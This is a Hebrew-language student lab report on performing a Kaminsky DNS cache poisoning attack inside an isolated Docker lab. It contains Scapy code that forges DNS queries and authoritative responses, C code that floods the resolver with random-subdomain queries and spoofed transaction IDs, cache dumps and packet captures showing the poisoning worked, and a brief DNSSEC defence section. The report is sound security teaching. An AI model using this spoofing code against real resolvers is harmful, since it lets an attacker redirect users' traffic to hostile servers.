# Cyber Lab – Kaminsky Attack

**מגישים**:
**אוריאל שפירא – 314779745**

**גיא שמעון - 209306513**

הסבר כללי:

במטלה זאת קיבלנו Docker שמכיל 4 מכונות user, seed-attacker, local-dns-server, attacker-ns והתבקשנו לבצע Kaminsky Attack באמצעות הAttacker על ה- local-dns-server

רעיון המתקפה:

המתקפה שנבצע היא מתקפת Kaminsky ,שמטרתה לשנות רשומות DNS ולהטעות את שרת ה DNS-המקומי (local-dns-server) כך שהוא ישמור כתובת IP שגויה עבור דומיין מסוים (במקרה הספציפי שלנו www.example.com ).

התוקף שולח מספר רב של בקשות DNS עם קידומות אקראיות (xxxxx.example.com ) לדומיין היעד, ומקבל תגובות מזויפות משרת ה- DNS שבשליטת התוקף. תגובות אלו מנסות להתאים את מזהה הבקשה (Transaction ID) לשאילתות שנשלחו. כאשר אחת מהתגובות המזויפות תואמת, שרת ה-DNS המקומי יכניס את הרשומה המזויפת לזיכרון המטמון ,(Cache) וכתוצאה מכך יספק בעתיד כתובת שגויה עבור הדומיין המבוקש (כתובת אותה התוקף קבע בתשובה המזויפת לשאילתת ה-DNS ששלח).

מטרת העל של כל מכונה:

**Seed-Attacker –** זו המכונה שמריצה את הקוד. היא שולחת את הבקשות לשרת ה-DNS המקומי יחד עם התגובות המזויפות. זאת בשביל להטעות את השרת ולבצע עליו Cache Poisoning. התפקיד שלה הוא ליצור בקשות DNS עם קידומות אקראיות ולשלוח תגובות מזויפות תוך ניסיון להתאים את ה-Transaction ID של התשובה ל-Transaction ID של הבקשה שנשלחת משרת ה-DNS ל-Authoritative NS (במטרה לקבל IP Resolution).

**NS-Attacker –** זהו שרת ה - DNS המזויף שמספק תגובות DNS מזויפות. השרת משרת את מטרת ההתקפה בכך שהוא עונה לשאילתות ה DNS-של שרת ה DNS-המקומי ומזייף את התשובות על מנת שהשרת המקומי ישמור את הכתובות המזויפות ב Cache-שלו. תפקידו העיקרי הוא לדמות את השרת ה-Authoritative שה- Local-DNS פונה אליו כדי לקבל את התשובות.

**Local-DNS-server –**זהו היעד של המתקפה. שרת ה-DNS המקומי שבו מתבצע ה-Cache Poisoning. מטרתו לספק IP Resolution לשאילתות אותן הוא מקבל. אם אינו יודע את ה-IP, פונה ל-Authoritative NS. אם יודע את ה-IP, משמע שהכתובת נמצאת ב-Cache שלו. אז אם ההתקפה מצליחה, שרת ה-DNS המקומי יספק למשתמש כתובת IP שגויה של האתר המבוקש (לדוגמה, במקום www.example.com, הוא יחזיר 1.2.3.5 שזו כתובת מזוייפת).

**User –** מכונה המדמה משתמש רגיל הפונה לשרת ה-DNS המקומי כדי לבצע שאילתות DNS. מטרת המכונה היא לבדוק האם המתקפה הצליחה על ידי בדיקה איזו כתובת מתקבלת בשאילתת DNS עבור xxxxx.example.com (כאשר מחליפים את xxxxx ברצף אותיות רנדומלי). אם התקבלה כתובת IP מזויפת, משמע שההתקפה צלחה.

לאחר שהרמנו את כל ה-Container, נבדוק את מה שנדרש:

### 2.4: (בדיקת הגדרת הDNS והסביבה)

נבצע **dig ns.attacker32.com** ב-User ונקבל שכתובת ה-IP של ה-ns היא 10.9.0.153:

```
root@02496ecffb77:/# dig ns.attacker32.com

; <<>> DiG 9.16.1-Ubuntu <<>> ns.attacker32.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 62875
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 691126d67275a94e0100000066e61fc82511de664c79e250 (good)
;; QUESTION SECTION:
;ns.attacker32.com.             IN      A

;; ANSWER SECTION:
ns.attacker32.com.      259200  IN      A       10.9.0.153

;; Query time: 8 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sat Sep 14 23:44:08 UTC 2024
;; MSG SIZE  rcvd: 90
```

כעת, נריץ dig example.com (באופן רגיל) ונקבל את הכתובת הבאה:

```
root@02496ecffb77:/# dig example.com

; <<>> DiG 9.16.1-Ubuntu <<>> example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 48572
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 1ab59f7bcf743db60100000066e6204d1d33402bbb53cf19 (good)
;; QUESTION SECTION:
;example.com.                    IN      A

;; ANSWER SECTION:
example.com.            3600    IN      A       93.184.215.14

;; Query time: 139 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sat Sep 14 23:46:21 UTC 2024
;; MSG SIZE  rcvd: 84
```

וכאשר נריץ את אותה בקשה דרך ה-attacker ns נקבל כתובת מזויפת:

```
root@02496ecffb77:/# dig @ns.attacker32.com www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> @ns.attacker32.com www.example.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 35888
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 8391ac6f46f612cb0100000066e620ac6e55b10477d864ab (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; Query time: 0 msec
;; SERVER: 10.9.0.153#53(10.9.0.153)
;; WHEN: Sat Sep 14 23:47:56 UTC 2024
;; MSG SIZE  rcvd: 88
```

**3.2:**

לצורך בניית פאקטת ה-DNS, הרצנו את הפקודה ifconfig במכונת ה-attacker כדי למצוא את כתובת ה-IP שלו:

```
root@LinuxVM:/# ifconfig
br-b6234ffc5daa: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.9.0.1  netmask 255.255.255.0  broadcast 10.9.0.255
        inet6 fe80::42:3cff:fe87:2d7  prefixlen 64  scopeid 0x20<link>
        ether 02:42:3c:87:02:d7  txqueuelen 0  (Ethernet)
        RX packets 90  bytes 5142 (5.1 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 120  bytes 26096 (26.0 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
```

באמצעות scapy (יותר קל לבנות חבילה ב Python מאשר ב C) ניצור בקשת DNS לכתובת בתצורה XXXXX.example.com.

מטרת הקוד הוא ליצור מעין תבנית לשליחת בקשת DNS מה-Attacker ל-local DNS. כך שבהמשך נשנה את הקידומת של XXXXX.example.com בלבד ונוכל לשלוח בקשות.

```python
def send_dns_request():
    Qdsec = DNSQR(qname="abcde.example.com")    # abcde - placeholder for random subdomain
    dns = DNS(id=0xAAAA, qr=0, qdcount=1, ancount=0, nscount=0,arcount=0, qd=Qdsec)
    ip = IP(dst="10.9.0.53", src = "10.9.0.1") # dst is the local DNS server, src is the attacker
    udp = UDP(dport=53, sport=RandShort(), chksum=0) # dport is the DNS port - 53
    request = ip/udp/dns

    # Save the request to a binary file
    with open("ip_req.bin", "wb") as file:
        file.write(bytes(request))
```

בקטע קוד זה אנו יוצרים שאילתת DNS עבור כתובת מסוימת בתצורת "XXXXX.example.com " ושומרים אותה בקובץ בינארי.

בקוד ב-C נקרא מהקובץ ונשנה רק את החלק של XXXXXX עבור כל שאילתה.

כמו כן, בקוד הזה אנו משתמשים ב-Source Port רנדומלי. אך אין לזה משמעות.

**:3.3**

בחלק זה נרצה לזייף תשובה לבקשת DNS, כך שהתשובה שלנו תחליף את ה-IP האמיתי של האתר www.example.com, ב-IP של ה-Attacker NS. את התשובה הזו נשלח ל-local DNS במטרה שהוא יכניס את התשובה הזו ל-Cache שלו ויענה לשאילתות הבאות עם ה-IP המזויף שניתן לו.

```
▸ Frame 1145: 100 bytes on wire (800 bits), 100 bytes captured (800 bits) on interface any, id 0
▸ Linux cooked capture v1
▸ Internet Protocol Version 4, Src: 10.9.0.53, Dst: 199.43.135.53
▸ User Datagram Protocol, Src Port: 33333, Dst Port: 53
▾ Domain Name System (query)
    Transaction ID: 0xe45c
  ▸ Flags: 0x0010 Standard query
    Questions: 1
    Answer RRs: 0
    Authority RRs: 0
    Additional RRs: 1
  ▾ Queries
    ▸ www.example.com: type A, class IN
  ▸ Additional records
    [Response In: 1149]
```

נשים לב שה-IP של ה-Authoritative Nameserver שה-local DNS פונה אליו כדי לקבל IP Resolution על www.example.com הוא: 199.43.135.53.

```python
def send_spoofed_response():
    name = "abcde.example.com"  # abcde - placeholder for random subdomain
    domain = "example.com"      # The domain to spoof
    ns = "ns.attacker32.com"    # The attacker's nameserver
    Qdsec = DNSQR(qname=name)
    Anssec = DNSRR(rrname=name, type="A", rdata="1.2.3.4", ttl=259200)
    NSsec = DNSRR(rrname=domain, type="NS", rdata=ns, ttl=259200)
    dns = DNS(id=0xAAAA, aa=1, rd=1, qr=1, qdcount=1, ancount=1, nscount=1, arcount=0, qd=Qdsec, an=Anssec, ns=NSsec)
    ip = IP(dst="10.9.0.53", src="199.43.133.53")   # src is the Authoritative NS, dst is the local DNS server
    udp = UDP(dport=33333, sport=53, chksum=0)
    reply = ip/udp/dns

    # Save the response to a binary file
    with open("ip_resp.bin", "wb") as file:
        file.write(bytes(reply))
```

באמצעות הפרטים ממקודם, נבנה תשובת DNS מזויפת, עם פרטי ה-IP המתאימים (כך שהתשובה מגיעה מה-Authoritative NS ויוצאת אל ה-local DNS). והפורטים מתאימים גם כן לבקשה (כמו כן, ה-dport קבוע על 33333 כמו שנטען במטלה).

**:3.4**

באמצעות הקבצים שיצרנו בעזרת הקוד שכתבנו ב-Python, נבצע את המתקפה:

```
int main()
{
  srand(time(NULL));

  // Load the DNS request packet from file
  FILE *f_req = fopen("ip_req.bin", "rb");
  if (!f_req)
  {
    perror("Can't open 'ip_req.bin'");
    exit(1);
  }
  unsigned char ip_req[MAX_FILE_SIZE];
  int n_req = fread(ip_req, 1, MAX_FILE_SIZE, f_req);

  // Load the first DNS response packet from file
  FILE *f_resp = fopen("ip_resp.bin", "rb");
  if (!f_resp)
  {
    perror("Can't open 'ip_resp.bin'");
    exit(1);
  }
  unsigned char ip_resp[MAX_FILE_SIZE];
  int n_resp = fread(ip_resp, 1, MAX_FILE_SIZE, f_resp);
```

ראשית, נקרא את תוכן הקבצים שיצרנו ב-Python. הם יהוו תבנית לבקשות ותגובות ה-DNS שנשלח בהמשך.

```
char a[26] = "abcdefghijklmnopqrstuvwxyz";
size_t times = 0;
while (1)
{
  // Generate a random name with length 5
  char name[6];
  name[5] = '\0';
  for (int k = 0; k < 5; k++)
    name[k] = a[rand() % 26];

  /* Step 1. Send a DNS request to the targeted local DNS server.
             This will trigger the DNS server to send out DNS queries */
  send_dns_request(ip_req, n_req, name);

  /* Step 2. Send many spoofed responses to the targeted local DNS server,
             each one with a different transaction ID. */
  for (int i = 0; i < 100; i++)
  {
    // Send 100 spoofed responses to 10.9.0.153
    send_dns_response(ip_resp, n_resp, name);
  }
}
fclose(f_req);
fclose(f_resp);
return 0;
```

ניצור תחילית בת 5 אותיות רנדומליות ונשלח בקשה לכתובת XXXXX.example.com כאשר XXXXX היא התחילית שיצרנו.

מיד לאחר מכן נשלח 100 תשובות DNS כאשר כל תשובה מכילה transaction id שונה. בתקווה שאחת מהתשובות תכיל את ה-transaction id המתאים.

כעת נעבור להסביר את הקוד של השליחת בקשה ושליחת תשובת DNS:

```
void send_dns_request(char *buffer, int pkt_size, char *name)
{
  // Modify the name in the request (change 5 bytes starting from offset 41 in the header)
  memcpy(buffer + 41, name, 5);

  // Send the packet
  send_raw_packet(buffer, pkt_size);
}
```

קטע קוד זה משנה את התחילית של ה-buffer במיקום 41 בייטים מההתחלה לשם אותו שלחנו כארגומנט לפונקציה. ולאחר מכן שולח את הבקשה באמצעות פונקציית send_raw_packet.

בעצם הפונקציה משנה את החלק שדיברנו עליו קודם, של XXXXX.example.com ל-
"name".example.com כאשר name זהו צירוף בן 5 אותיות שנבחרו רנדומלית קודם לכן.

```
void send_dns_response(char *buffer, int pkt_size, char *name)
{
  // Modify the name in the request (change 5 bytes starting from offset 41 in the header)
  memcpy(buffer + 41, name, 5);

  // Modify the name in the answer (change 5 bytes starting from offset 64 in the header)
  memcpy(buffer + 64, name, 5);

  // Modify the transaction ID (offset 28)
  unsigned short id = rand() & 0xFFFF;
  unsigned short id_net_order = htons(id);
  memcpy(buffer + 28, &id_net_order, 2);

  // Send the packet
  send_raw_packet(buffer, pkt_size);
}
```

ניזכר שתשובת DNS מכילה גם את הבקשה אליה היא עונה.

לכן, נצטרך לשנות את התחילית המתאימה גם במיקום של הבקשה ב-Header וגם במיקום של התשובה ב-Header.

לאחר מכן, נגדיר transaction id רנדומלי – נבצע AND עם 0xFFFF שזהו הערך המקסימלי שיכול להיות ל-transaction id. כך שכל ערך שיחרוג מזה יאופס.

נשנה את ה-transaction id בפאקטה ונשלח אותה באמצעות פונקציית send_raw_packet.

כעת נבצע את ההתקפה.

לאחר מס' נסיונות של ה-Attacker לבצע Cache Poisoning, אנחנו יכולים לראות בתמונות הבאות שהוא אכן הצליח.

התחברנו ל-Local DNS וראינו שב-Cache שלו, תחת www.example.com מופיע ה-IP שהגדרנו.

```
root@4d15c072bbc9:/# rndc dumpdb -cache
root@4d15c072bbc9:/# cd /var/cache/bind/
root@4d15c072bbc9:/var/cache/bind# cat dump.db | grep 1.2.3.5
www.example.com.        863791  A       1.2.3.5
root@4d15c072bbc9:/var/cache/bind#
```

Local DNS

```
root@4d15c072bbc9:~# rndc dumpdb -cache && grep attacker /var/cache/bind/dump.db
ns.attacker32.com.      615028  \-AAAA  ;-$NXRRSET
; attacker32.com. SOA ns.attacker32.com. admin.attacker32.com. 2008111001 28800 7200 2419200 86400
example.com.            777028  NS      ns.attacker32.com.
root@4d15c072bbc9:~#
```

bash
User
Attacker
Local DNS

כמו כן, ניתן לראות בשורה האחרונה ש-example.com מופנה ל-ns.attacker32.com. שזו הייתה מטרת כל ההתקפה.

**3.5:**

כעת נראה דרך ה-User שהמתקפה אכן פעלה:

```
root@962e699e6148:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 64683
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 9255c25c500d6dc80100000066e63d68244eb3b739e32d1c (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        258460  IN      A       1.2.3.5

;; Query time: 1 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sun Sep 15 01:50:32 UTC 2024
;; MSG SIZE  rcvd: 88
```

bash
User
Attacker
Local DNS

```
root@962e699e6148:/# dig @ns.attacker32.com www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> @ns.attacker32.com www.example.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 64369
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 7a56f95ed7be68510100000066e63d998378dcae3557eeb9 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; Query time: 0 msec
;; SERVER: 10.9.0.153#53(10.9.0.153)
;; WHEN: Sun Sep 15 01:51:21 UTC 2024
;; MSG SIZE  rcvd: 88
```

bash
User
Attacker
Local DNS

ב-2 התמונות המצורפות ניתן לראות שאנו מבצעים dig ל-www.example.com באופן רגיל ודרך ה-Attacker NS, ושניהם מחזירים את אותו IP עבור האתר.

משמע שהצלחנו לגרום ל-Local DNS לשמור את הכתובת אותה ה-Attacker NS מחזיר.

**הקלטות Wireshark:**

| Source | Destination | Protocol | Length | Info |
|---|---|---|---|---|
| 10.9.0.1 | 10.9.0.53 | DNS | 79 | Standard query 0xaaaa A bvnsi.example.com |
| 10.9.0.1 | 10.9.0.53 | DNS | 79 | Standard query 0xaaaa A bvnsi.example.com |
| 199.43.133.53 | 10.9.0.53 | DNS | 154 | Standard query response 0xb36a A bvnsi.example.com A 1.2.3.4 NS ns.attacker32.com |
| 199.43.133.53 | 10.9.0.53 | DNS | 154 | Standard query response 0xb36a A bvnsi.example.com A 1.2.3.4 NS ns.attacker32.com |
| 199.43.133.53 | 10.9.0.53 | DNS | 154 | Standard query response 0x6646 A bvnsi.example.com A 1.2.3.4 NS ns.attacker32.com |
| 199.43.133.53 | 10.9.0.53 | DNS | 154 | Standard query response 0x6646 A bvnsi.example.com A 1.2.3.4 NS ns.attacker32.com |
| 199.43.133.53 | 10.9.0.53 | DNS | 154 | Standard query response 0x71b7 A bvnsi.example.com A 1.2.3.4 NS ns.attacker32.com |
| 199.43.133.53 | 10.9.0.53 | DNS | 154 | Standard query response 0x71b7 A bvnsi.example.com A 1.2.3.4 NS ns.attacker32.com |
| 199.43.133.53 | 10.9.0.53 | DNS | 154 | Standard query response 0x5c6e A bvnsi.example.com A 1.2.3.4 NS ns.attacker32.com |
| 199.43.133.53 | 10.9.0.53 | DNS | 154 | Standard query response 0x5c6e A bvnsi.example.com A 1.2.3.4 NS ns.attacker32.com |
| 199.43.133.53 | 10.9.0.53 | DNS | 154 | Standard query response 0xb116 A bvnsi.example.com A 1.2.3.4 NS ns.attacker32.com |
| 199.43.133.53 | 10.9.0.53 | DNS | 154 | Standard query response 0xb116 A bvnsi.example.com A 1.2.3.4 NS ns.attacker32.com |
| 199.43.133.53 | 10.9.0.53 | DNS | 154 | Standard query response 0xe004 A bvnsi.example.com A 1.2.3.4 NS ns.attacker32.com |
| 199.43.133.53 | 10.9.0.53 | DNS | 154 | Standard query response 0xe004 A bvnsi.example.com A 1.2.3.4 NS ns.attacker32.com |
| 199.43.133.53 | 10.9.0.53 | DNS | 154 | Standard query response 0x8844 A bvnsi.example.com A 1.2.3.4 NS ns.attacker32.com |
| 199.43.133.53 | 10.9.0.53 | DNS | 154 | Standard query response 0x8844 A bvnsi.example.com A 1.2.3.4 NS ns.attacker32.com |
| 199.43.133.53 | 10.9.0.53 | DNS | 154 | Standard query response 0xaab7 A bvnsi.example.com A 1.2.3.4 NS ns.attacker32.com |
| 199.43.133.53 | 10.9.0.53 | DNS | 154 | Standard query response 0xaab7 A bvnsi.example.com A 1.2.3.4 NS ns.attacker32.com |
| 199.43.133.53 | 10.9.0.53 | DNS | 154 | Standard query response 0xd86c A bvnsi.example.com A 1.2.3.4 NS ns.attacker32.com |
| 199.43.133.53 | 10.9.0.53 | DNS | 154 | Standard query response 0xd86c A bvnsi.example.com A 1.2.3.4 NS ns.attacker32.com |
| 199.43.133.53 | 10.9.0.53 | DNS | 154 | Standard query response 0xb5be A bvnsi.example.com A 1.2.3.4 NS ns.attacker32.com |
| 199.43.133.53 | 10.9.0.53 | DNS | 154 | Standard query response 0xb5be A bvnsi.example.com A 1.2.3.4 NS ns.attacker32.com |

לפני שההתקפה הצליחה, ניתן לראות בתמונה דוגמה לכך שה-User מבצע שאילתת DNS על "bvnsi.example.com", ומיד לאחר מכן נשלחות 100 DNS Responses. כל אחת עם transaction id שונה (מסומן באדום).

לאחר שהצלחנו לבצע Cache Poisoning:

| Source | Destination | Protocol | Length | Info |
|---|---|---|---|---|
| 10.9.0.5 | 10.9.0.53 | DNS | 100 | Standard query 0x764f A www.example.com OPT |
| 10.9.0.5 | 10.9.0.53 | DNS | 100 | Standard query 0x764f A www.example.com OPT |
| 10.9.0.53 | 10.9.0.5 | DNS | 132 | Standard query response 0x764f A www.example.com A 1.2.3.5 OPT |
| 10.9.0.53 | 10.9.0.5 | DNS | 132 | Standard query response 0x764f A www.example.com A 1.2.3.5 OPT |

ניתן לראות שכאשר אנו מבצעים שאילתה עבור www.example.com, השאילתה אכן נשלחת ל-10.9.0.53 שזו הכתובת של ה-Local DNS. והוא מחזיר תשובה שהיא כתובת ה-IP שהגדרנו (1.2.3.5).

## הגנה:

להלן כמה אופציות להגנות אפשריות כנגד מתקפה זאת:

1. כפי שצוין בקובץ, DNSSEC הוא פתרון יעיל למתקפה בכך שכל תשובת DNS חתומה עם מפתח פרטי שמוחזק על ידי שרת ה-Authoritative בנוסף הלקוח מקבל גם את החתימה עם המידע המבוקש
בכדי לאמת את החתימה שרת ה-DNS המקומי מבקש את המפתח הציבורי של ה- Authoritative DNS. אם חתימה זאת תואמת את המפתח הציבורי השרת יודע כי המידע לא שונה ויכול להוסיף את התשובה ל cache שלו.
2. ניתן להגביל את כמות מספרי התשובות שיתקבלו עבור כל שאילתת DNS ובך אנחנו מקטינים את הסיכוי של התוקף לפגוע ב Transaction ID .